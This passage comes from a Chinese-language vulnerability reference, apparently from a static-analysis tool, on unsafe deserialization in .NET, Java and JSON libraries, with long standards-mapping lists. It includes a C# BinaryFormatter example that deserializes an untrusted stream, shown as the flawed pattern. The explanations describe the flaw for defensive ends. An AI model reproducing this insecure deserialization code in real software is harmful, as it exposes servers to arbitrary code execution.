[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_unsafe_beanutils_deserialization
Abstract
在运行时对用户控制的对象流进行反序列化,会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致 Denial of Service。
Explanation
.NET 序列化会将对象图转换为字节流或 XML 流(包含对象本身和必要的元数据),以便通过流进行重构。开发人员可以创建自定义代码,以协助 .NET 对象反序列化过程,在此期间,他们可以使用其他对象或代理替代反序列化对象。在对象重构过程中,并在对象返回至应用程序并转换为预期的类型之前,会执行自定义反序列化过程。到开发人员尝试强制执行预期的类型时,代码可能已被执行。

示例 1:以下函数将连接中的 Stream 对象作为输入,并将其重新反序列化为 .NET 对象。然后在将其转换为字符串对象列表后返回结果:


...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
var result = (List <string>)bf.Deserialize(input);
return result;
}
...


为便于理解,Example 1 可按以下方式重写:

例 2:

...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
object tmp = bf.Deserialize(input);
List <string> result = (List <string>)tmp;
return result;
}
...


Example 2 中,不管类型是否为 List <string>,只要输入流有效,反序列化操作就会成功。

在必须存在于 bin 文件夹或 GAC 中且无法由攻击者注入的可序列化类中,会自定义反序列化例程,所以这些攻击的可利用性取决于应用程序环境中的可用类。令人遗憾的是,常用的第三方类,甚至 .NET 类都可以被滥用,导致系统资源耗尽、删除文件、部署恶意文件或运行任意代码。
References
[1] Security Considerations for Data
[2] James Forshaw Are you my Type? Breaking .NET Through Serialization
[3] David LeBlanc, Michael Howard Writing Secure Code (2nd Edition) Microsoft Press
[4] Standards Mapping - Common Weakness Enumeration CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[20] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[21] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[22] Standards Mapping - OWASP Top 10 2010 A1 Injection
[23] Standards Mapping - OWASP Top 10 2013 A1 Injection
[24] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[25] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.structural.dotnet.dynamic_code_evaluation_unsafe_deserialization
Abstract
在运行时对用户控制的对象流进行反序列化,会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致 Denial of Service。
Explanation
Java 序列化会将对象图转换为字节流(包含对象本身和必要的元数据),以便通过字节流进行重构。开发人员可以创建自定义代码,以协助 Java 对象反序列化过程,在此期间,他们可以使用其他对象或代理替代反序列化对象。在对象重构过程中,并在对象返回至应用程序并转换为预期的类型之前,会执行自定义反序列化过程。到开发人员尝试强制执行预期的类型时,代码可能已被执行。

在必须存在于运行时类路径中且无法由攻击者注入的可序列化类中,会自定义反序列化例程,所以这些攻击的可利用性取决于应用程序环境中的可用类。令人遗憾的是,常用的第三方类,甚至 JDK 类都可以被滥用,导致 JVM 资源耗尽、部署恶意文件或运行任意代码。
References
[1] Fortify Software Security Research The perils of Java deserialization
[2] Fortify Application Defender
[3] Oracle Java Serialization
[4] IBM Look-ahead Java deserialization
[5] OWASP Deserialization of untrusted data
[6] Standards Mapping - Common Weakness Enumeration CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[23] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[24] Standards Mapping - OWASP Top 10 2010 A1 Injection
[25] Standards Mapping - OWASP Top 10 2013 A1 Injection
[26] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[27] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.structural.java.dynamic_code_evaluation_unsafe_deserialization
Abstract
对用户控制的 Json 流进行反序列化,可能让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。
Explanation
将对象图转换为 Json 格式数据的 Json 序列化库可能包括重新从 Json 流重构对象所需的元数据。如果攻击者可以指定要重构的对象类型,并能够强制应用程序运行具有用户控制数据的任意资源库,则在 Json 流的反序列化期间他们也许能够执行任意代码。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 502
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[22] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.structural.dotnet.dynamic_code_evaluation_unsafe_json_deserialization
Abstract
对用户控制的 Json 流进行反序列化,可能让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。
Explanation
将对象图转换为 Json 格式数据的 Json 序列化库可能包括重新从 Json 流重构对象所需的元数据。如果攻击者可以指定要重构的对象类,并能够强制应用程序运行具有用户控制数据的任意资源库,则在 Json 流的反序列化期间他们也许能够执行任意代码。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 502
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[22] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
